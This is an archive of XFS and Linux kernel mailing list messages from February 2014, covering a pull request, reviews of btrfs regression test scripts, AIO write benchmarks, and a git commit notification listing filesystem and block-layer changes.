+- > 4 files changed, 32 insertions(+), 11 deletions(-) From bpm@sgi.com Thu Feb 6 15:53:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CA6A47F51 for ; Thu, 6 Feb 2014 15:53:36 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7F170304048; Thu, 6 Feb 2014 13:53:33 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 062DF4266DC; Thu, 6 Feb 2014 15:53:32 -0600 (CST) Date: Thu, 6 Feb 2014 15:53:32 -0600 From: Ben Myers To: Linus Torvalds Cc: Andrew Morton , Linux Kernel Mailing List , xfs@oss.sgi.com Subject: Re: [GIT PULL] XFS fix for 3.14-rc2 Message-ID: <20140206215332.GQ1935@sgi.com> References: <20140206173158.6A2A14266DC@whiskey.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Feb 06, 2014 at 01:34:53PM -0800, Linus Torvalds wrote: > I have no idea why you keep re-sending this. > > It got merged a week ago. See commit f1499382f114. Ok, there it is. Sorry for the noise. Thanks, Ben > On Thu, Feb 6, 2014 at 9:31 AM, Ben Myers wrote: > > Hi Linus, > > > > Please pull this xfs update for 3.14. This is to allow logical sector sized > > direct io on advanced format disks. Eric expressed a desire to get this fix > > in 3.14 because this bug affects some virtualization packages. > > > > Thanks, > > Ben > > > > The following changes since commit bf3964c188d686424ff7b69a45941851b9f437f0: > > > > Merge branch 'xfs-extent-list-locking-fixes' into for-next (2014-01-09 16:03:18 -0600) > > > > are available in the git repository at: > > > > > > git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.14-rc1-2 > > > > for you to fetch changes up to 7c71ee78031c248dca13fc94dea9a4cc217db6cf: > > > > xfs: allow logical-sector sized O_DIRECT (2014-01-24 11:55:42 -0600) > > > > ---------------------------------------------------------------- > > xfs: update #2 for v3.14-rc1 > > > > - allow logical sector sized direct io on 'advanced format' 4k/512 disk. > > > > ---------------------------------------------------------------- > > Eric Sandeen (3): > > xfs: clean up xfs_buftarg > > xfs: rename xfs_buftarg structure members > > xfs: allow logical-sector sized O_DIRECT > > > > fs/xfs/xfs_buf.c | 14 +++++++++----- > > fs/xfs/xfs_buf.h | 20 +++++++++++++++++--- > > fs/xfs/xfs_file.c | 7 +++++-- > > fs/xfs/xfs_ioctl.c | 2 +- > > 4 files changed, 32 insertions(+), 11 deletions(-) > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From david@fromorbit.com Thu Feb 6 16:43:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A145F7F51 for ; Thu, 6 Feb 2014 16:43:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7824F8F8050 for ; Thu, 6 Feb 2014 14:43:47 -0800 (PST) X-ASG-Debug-ID: 1391726622-04cbb00c2b183c60001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id zCN6MVDo6qpCiJNZ for ; Thu, 06 Feb 2014 14:43:42 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArQIAE4P9FJ5LGaB/2dsb2JhbABZgwyDPrZ4hVCBDhd0giUBAQU6HCMQCAMYCSUPBSUDIROIBM0NFxaOZAeDJIEUAQOYKpIigW+BUig Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 07 Feb 2014 09:13:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBXfV-0000n8-E4; Fri, 07 Feb 2014 09:43:37 +1100 Date: Fri, 7 Feb 2014 09:43:37 +1100 From: Dave Chinner To: Wang Shilong Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, jbacik@fb.com Subject: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently Message-ID: <20140206224337.GB13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently References: <1391703008-2322-1-git-send-email-wangshilong1991@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391703008-2322-1-git-send-email-wangshilong1991@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391726622 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144900 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 12:10:08AM +0800, Wang Shilong wrote: > +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ > + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 > + > +do_snapshots & > +snapshots_pid=$! > + > +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 > /dev/null 2>&1 || echo "btrfs send failed" Let's stop this anti-pattern before it takes hold. If there's output from the send command it should be filtered and captured in the golden image. Hence any deviation caused by errors is automatically flagged as an error. That's the whole point of using golden images for capturing errors - you don't need to capture return values from binaries and it guarantees that users are informed about failures through error messages. IOWs: $BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 | _btrfs_send_filter is what you should be doing here. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 6 16:45:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 905487F51 for ; Thu, 6 Feb 2014 16:45:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 719BF8F8050 for ; Thu, 6 Feb 2014 14:45:17 -0800 (PST) X-ASG-Debug-ID: 1391726715-04cbb00c2b183ce0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id lnr2Bu4c0PjSQI1V for ; Thu, 06 Feb 2014 14:45:15 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArUIAE4P9FJ5LGaB/2dsb2JhbABZgwyDPrZ4hVCBDhd0giUBAQU6HCMQCAMOCgklDwUlAyETiATNDRcWjmQHgySBFAEDmCqSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 07 Feb 2014 09:15:11 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBXgz-0000nK-O0; Fri, 07 Feb 2014 09:45:09 +1100 Date: Fri, 7 Feb 2014 09:45:09 +1100 From: Dave Chinner To: David Disseldorp Cc: xfs@oss.sgi.com, dsterba@suse.cz, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2 3/3] btrfs/035: add new clone overwrite regression test Message-ID: <20140206224509.GC13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 3/3] btrfs/035: add new clone overwrite regression test References: <1391695154-2039-1-git-send-email-ddiss@suse.de> <1391695154-2039-4-git-send-email-ddiss@suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391695154-2039-4-git-send-email-ddiss@suse.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391726715 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144900 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 06, 2014 at 02:59:14PM +0100, David Disseldorp wrote: > This test uses the newly added cloner binary to dispatch full file and > range specific clone (reflink) requests. .... > + > +echo -n "$src_str" > $SCRATCH_MNT/src || echo "failed to create src" Not exactly what I intended. If echo fails, it will output some kind of error message, and that will cause the golden image mismatch. Otherwise the test looks good. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 6 16:49:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 812F87F51 for ; Thu, 6 Feb 2014 16:49:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 272C3AC005 for ; Thu, 6 Feb 2014 14:49:11 -0800 (PST) X-ASG-Debug-ID: 1391726949-04bdf0122019c790001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id OdZ1QXhL9PEhp9qm for ; Thu, 06 Feb 2014 14:49:10 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArgIAHsQ9FJ5LGaB/2dsb2JhbABZgwyDPlK2JoVQgQ4XdIIlAQEFIw8BIyMQCAMVAwICBSECAg8FJQMhE4gErAqhBBcWgRONUQeCbzWBFASYKpIigW+BUig Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 07 Feb 2014 09:19:09 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBXkq-0000o0-Ei; Fri, 07 Feb 2014 09:49:08 +1100 Date: Fri, 7 Feb 2014 09:49:08 +1100 From: Dave Chinner To: Wang Shilong Cc: xfs@oss.sgi.com, jbacik@fb.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] Btrfs: add regression test for running snapshot and send concurrently Message-ID: <20140206224908.GD13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] Btrfs: add regression test for running snapshot and send concurrently References: <1391440956-31924-1-git-send-email-wangshilong1991@gmail.com> <20140203234212.GW13997@dastard> <9BC2AB41-F187-4A1A-89D6-743C72446293@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <9BC2AB41-F187-4A1A-89D6-743C72446293@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391726949 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144900 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 06, 2014 at 09:12:51PM +0800, Wang Shilong wrote: > Hi Dave, > > > On Mon, Feb 03, 2014 at 11:22:36PM +0800, Wang Shilong wrote: > >> From: Wang Shilong > >> > >> Btrfs would fail to send if snapshot run concurrently, this test is to make > >> sure we have fixed the bug. > >> > > Couple of comments below. > > > >> +_scratch_mkfs > /dev/null 2>&1 > >> +_scratch_mount > >> + > >> + > >> +touch $SCRATCH_MNT/foo > >> + > >> +# get file with fragments by using backwards writes. > >> +for i in `seq 10240 -1 1`; do > >> + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ > >> + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io > > > > Indentation. > > > >> +done > >> + > >> +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ > >> + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 > >> + > >> +$BTRFS_UTIL_PROG send -f $SCRATCH_MNT/send_file \ > >> + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 & > >> + > >> +pid=$! > >> + > >> +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ > >> + $SCRATCH_MNT/snap_2 >> $seqres.full 2>&1 > >> + > >> +wait $pid || echo "Failed to send, see dmesg" > > > > This seems kind of racy. It assumes that the send command > > doesn't complete before the wait $pid call is made. If $pid doesn't > > exist at this time because it has completed, wait will return 127 > > and the test will fail…. > > Sorry for delay reply! > > Maybe a better idea for this will be: > > Opposite to previous way, we do snapshots background while at the > same time we do sending. > > And btrfs-progs should output meaningful information on send failure, i will > make a tiny patch to address this issue. but to make this test more friendly, i > think we can still do something like: > > btrfs send <..> || echo "Failed to send" If send is emitting error messages on failures, then the "|| echo..." is redundant and not necessary to cause a golden image mismatch. If send is not emitting error messages on failure, then it needs fixing because users are going to hate you for silently failing to send the data they asked to be sent. Either way, the echo command on error in the test is not needed. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 6 16:51:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 812F37F51 for ; Thu, 6 Feb 2014 16:51:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 256F4AC001 for ; Thu, 6 Feb 2014 14:51:49 -0800 (PST) X-ASG-Debug-ID: 1391727107-04cbb00c2b183f60001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id TWpqtj2BxRFkIHJG for ; Thu, 06 Feb 2014 14:51:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArUIAKYR9FJ5LGaB/2dsb2JhbABZgwyDPrZ4hVCBDhd0giUBAQU6HCMQCAMOCgklDwUNGAMhE4dxAxDEGQ2IahcWjE6CFgeDJIEUBJY/gWuMX4VDg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 07 Feb 2014 09:21:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBXnA-0000oV-9j; Fri, 07 Feb 2014 09:51:32 +1100 Date: Fri, 7 Feb 2014 09:51:32 +1100 From: Dave Chinner To: Sergey Meirovich Cc: Christoph Hellwig , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/3] support appending AIO writes Message-ID: <20140206225132.GE13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes References: <20140204172402.380571745@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391727107 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144901 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 06, 2014 at 06:29:11PM +0200, Sergey Meirovich wrote: > On 5 February 2014 16:52, Sergey Meirovich wrote: > > Hi Christoph, > > > > Thanks a lot! Applied your patches on top of 3.13.1 and they indeed > > make a huge difference. > > > > > > Append AIO > > > > chunk size w/o patches with patches > > =================================================== > > 4k 6.8834 Mb/sec 1762.15 IOps 31.542 Mb/sec 8074.75 IOps > > 8k 15.321 Mb/sec 1961.12 IOps 62.873 Mb/sec 8047.71 IOps > > 16k 28.257 Mb/sec 1808.46 IOps 139.35 Mb/sec 8918.45 IOps > > And with simple wrapper around io_submit() difference for 4 k is even > more impressive than with sysbench: > > without patches: > ===================== > bandwidth (MiB/s): 11.89 > IOps: 3044.58 > > with patches: > ===================== > bandwidth (MiB/s): 118.16 > IOps: 30250.17 Thanks for providing numbers, Sergey. It's clear that we need to make this change from them. Can I add a "Tested-by: Sergey Meirovich " to the patches? Cheers, Dave. -- Dave Chinner david@fromorbit.com From dgc@oss.sgi.com Thu Feb 6 18:11:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 5F0D97F53; Thu, 6 Feb 2014 18:11:58 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12920-g38dbfb5 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 7c71ee78031c248dca13fc94dea9a4cc217db6cf X-Git-Newrev: 38dbfb59d1175ef458d006556061adeaa8751b72 Message-Id: <20140207001158.5F0D97F53@oss.sgi.com> Date: Thu, 6 Feb 2014 18:11:57 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated f568849 Merge branch 'for-3.14/core' of git://git.kernel.dk/linux-block f149938 Merge tag 'xfs-for-linus-v3.14-rc1-2' of git://oss.sgi.com/xfs/xfs bf3d846 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2401dc2 xfs: use generic posix ACL infrastructure 37bc153 fs: make posix_acl_create more useful 5bf3258 fs: make posix_acl_chmod more useful 96c8c44 xfs: switch to kfree_put_link() 1f4a63b xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() bba719b xfs: fix off-by-one error in xfs_attr3_rmt_verify b28bc9b Merge tag 'v3.13-rc6' into for-3.14/core 4f024f3 block: Abstract out bvec iterator from 7c71ee78031c248dca13fc94dea9a4cc217db6cf (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit f568849edac8611d603e00bd6cbbcfea09395ae6 Merge: d9894c2 675675a Author: Linus Torvalds Date: Thu Jan 30 11:19:05 2014 -0800 Merge branch 'for-3.14/core' of git://git.kernel.dk/linux-block Pull core block IO changes from Jens Axboe: "The major piece in here is the immutable bio_ve series from Kent, the rest is fairly minor. It was supposed to go in last round, but various issues pushed it to this release instead. The pull request contains: - Various smaller blk-mq fixes from different folks. Nothing major here, just minor fixes and cleanups. - Fix for a memory leak in the error path in the block ioctl code from Christian Engelmayer. - Header export fix from CaiZhiyong. - Finally the immutable biovec changes from Kent Overstreet. This enables some nice future work on making arbitrarily sized bios possible, and splitting more efficient. Related fixes to immutable bio_vecs: - dm-cache immutable fixup from Mike Snitzer. - btrfs immutable fixup from Muthu Kumar. - bio-integrity fix from Nic Bellinger, which is also going to stable" * 'for-3.14/core' of git://git.kernel.dk/linux-block: (44 commits) xtensa: fixup simdisk driver to work with immutable bio_vecs block/blk-mq-cpu.c: use hotcpu_notifier() blk-mq: for_each_* macro correctness block: Fix memory leak in rw_copy_check_uvector() handling bio-integrity: Fix bio_integrity_verify segment start bug block: remove unrelated header files and export symbol blk-mq: uses page->list incorrectly blk-mq: use __smp_call_function_single directly btrfs: fix missing increment of bi_remaining Revert "block: Warn and free bio if bi_end_io is not set" block: Warn and free bio if bi_end_io is not set blk-mq: fix initializing request's start time block: blk-mq: don't export blk_mq_free_queue() block: blk-mq: make blk_sync_queue support mq block: blk-mq: support draining mq queue dm cache: increment bi_remaining when bi_end_io is restored block: fixup for generic bio chaining block: Really silence spurious compiler warnings block: Silence spurious compiler warnings block: Kill bio_pair_split() ... commit f1499382f114231cbd1e3dee7e656b50ce9d8236 Merge: 4db658e 7c71ee7 Author: Linus Torvalds Date: Tue Jan 28 18:21:22 2014 -0800 Merge tag 'xfs-for-linus-v3.14-rc1-2' of git://oss.sgi.com/xfs/xfs Pull second xfs update from Ben Myers: "Allow logical sector sized direct io on 'advanced format' 4k/512 disk" * tag 'xfs-for-linus-v3.14-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: allow logical-sector sized O_DIRECT xfs: rename xfs_buftarg structure members xfs: clean up xfs_buftarg commit bf3d846b783327359ddc4bd4f52627b36abb4d1d Merge: 54c0a4b f650080 Author: Linus Torvalds Date: Tue Jan 28 08:38:04 2014 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull vfs updates from Al Viro: "Assorted stuff; the biggest pile here is Christoph's ACL series. Plus assorted cleanups and fixes all over the place... There will be another pile later this week" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: (43 commits) __dentry_path() fixes vfs: Remove second variable named error in __dentry_path vfs: Is mounted should be testing mnt_ns for NULL or error. Fix race when checking i_size on direct i/o read hfsplus: remove can_set_xattr nfsd: use get_acl and ->set_acl fs: remove generic_acl nfs: use generic posix ACL infrastructure for v3 Posix ACLs gfs2: use generic posix ACL infrastructure jfs: use generic posix ACL infrastructure xfs: use generic posix ACL infrastructure reiserfs: use generic posix ACL infrastructure ocfs2: use generic posix ACL infrastructure jffs2: use generic posix ACL infrastructure hfsplus: use generic posix ACL infrastructure f2fs: use generic posix ACL infrastructure ext2/3/4: use generic posix ACL infrastructure btrfs: use generic posix ACL infrastructure fs: make posix_acl_create more useful fs: make posix_acl_chmod more useful ... commit 2401dc2975fc5a33021dc8347ea82984c4707a08 Author: Christoph Hellwig Date: Fri Dec 20 05:16:50 2013 -0800 xfs: use generic posix ACL infrastructure Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux, and create inodes with the proper mode instead of fixing it up later. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Al Viro commit 37bc15392a2363ca822b2c2828e0ccafbea32f75 Author: Christoph Hellwig Date: Fri Dec 20 05:16:42 2013 -0800 fs: make posix_acl_create more useful Rename the current posix_acl_created to __posix_acl_create and add a fully featured helper to set up the ACLs on file creation that uses get_acl(). Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara Signed-off-by: Al Viro commit 5bf3258fd2acd8515450ab8efcd97c9d3b69f7f9 Author: Christoph Hellwig Date: Fri Dec 20 05:16:41 2013 -0800 fs: make posix_acl_chmod more useful Rename the current posix_acl_chmod to __posix_acl_chmod and add a fully featured ACL chmod helper that uses the ->set_acl inode operation. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara Signed-off-by: Al Viro commit 96c8c442117859cd95b5b57836ff374ff43f0564 Author: Al Viro Date: Fri Nov 29 22:54:55 2013 -0500 xfs: switch to kfree_put_link() don't bother open-coding it... Signed-off-by: Al Viro commit 1f4a63bf019524c96e79f088cd717b96ef00a249 Author: Chuansheng Liu Date: Tue Jan 7 16:53:34 2014 +0800 xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() In case CONFIG_DEBUG_OBJECTS_WORK is defined, it is needed to call destroy_work_on_stack() which frees the debug object to pair with INIT_WORK_ONSTACK(). Signed-off-by: Liu, Chuansheng Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 6f96b3063cdd473c68664a190524ed966ac0cd92) commit bba719b5004234e55737e7074b81b337210c511d Author: Jie Liu Date: Wed Jan 1 19:28:03 2014 +0800 xfs: fix off-by-one error in xfs_attr3_rmt_verify With CRC check is enabled, if trying to set an attributes value just equal to the maximum size of XATTR_SIZE_MAX would cause the v3 remote attr write verification procedure failure, which would yield the back trace like below: XFS (sda7): Internal error xfs_attr3_rmt_write_verify at line 191 of file fs/xfs/xfs_attr_remote.c Call Trace: [] dump_stack+0x45/0x56 [] xfs_error_report+0x3b/0x40 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] xfs_corruption_error+0x55/0x80 [xfs] [] xfs_attr3_rmt_write_verify+0x14b/0x1a0 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? vm_map_ram+0x31a/0x460 [] ? wake_up_state+0x20/0x20 [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_buf_iorequest+0x6b/0xc0 [xfs] [] xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_bwrite+0x46/0x80 [xfs] [] xfs_attr_rmtval_set+0x334/0x490 [xfs] [] xfs_attr_leaf_addname+0x24a/0x410 [xfs] [] xfs_attr_set_int+0x223/0x470 [xfs] [] xfs_attr_set+0x96/0xb0 [xfs] [] xfs_xattr_set+0x42/0x70 [xfs] [] generic_setxattr+0x62/0x80 [] __vfs_setxattr_noperm+0x63/0x1b0 [] ? evm_inode_setxattr+0xe/0x10 [] vfs_setxattr+0xb5/0xc0 [] setxattr+0x12e/0x1c0 [] ? final_putname+0x22/0x50 [] ? putname+0x2b/0x40 [] ? user_path_at_empty+0x5f/0x90 [] ? __sb_start_write+0x49/0xe0 [] ? vm_mmap_pgoff+0x99/0xc0 [] SyS_setxattr+0x8f/0xe0 [] system_call_fastpath+0x1a/0x1f Tests: setfattr -n user.longxattr -v `perl -e 'print "A"x65536'` testfile This patch fix it to check the remote EA size is greater than the XATTR_SIZE_MAX rather than more than or equal to it, because it's valid if the specified EA value size is equal to the limitation as per VFS setxattr interface. Signed-off-by: Jie Liu Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 85dd0707f0cad26d60f2dc574d17a5ab948d10f7) commit b28bc9b38c52f63f43e3fd875af982f2240a2859 Merge: 8d30726 802eee9 Author: Jens Axboe Date: Tue Dec 31 09:51:02 2013 -0700 Merge tag 'v3.13-rc6' into for-3.14/core Needed to bring blk-mq uptodate, since changes have been going in since for-3.14/core was established. Fixup merge issues related to the immutable biovec changes. Signed-off-by: Jens Axboe Conflicts: block/blk-flush.c fs/btrfs/check-integrity.c fs/btrfs/extent_io.c fs/btrfs/scrub.c fs/logfs/dev_bdev.c commit 4f024f3797c43cb4b73cd2c50cec728842d0e49e Author: Kent Overstreet Date: Fri Oct 11 15:44:27 2013 -0700 block: Abstract out bvec iterator Immutable biovecs are going to require an explicit iterator. To implement immutable bvecs, a later patch is going to add a bi_bvec_done member to this struct; for now, this patch effectively just renames things. Signed-off-by: Kent Overstreet Cc: Jens Axboe Cc: Geert Uytterhoeven Cc: Benjamin Herrenschmidt Cc: Paul Mackerras Cc: "Ed L. Cashin" Cc: Nick Piggin Cc: Lars Ellenberg Cc: Jiri Kosina Cc: Matthew Wilcox Cc: Geoff Levand 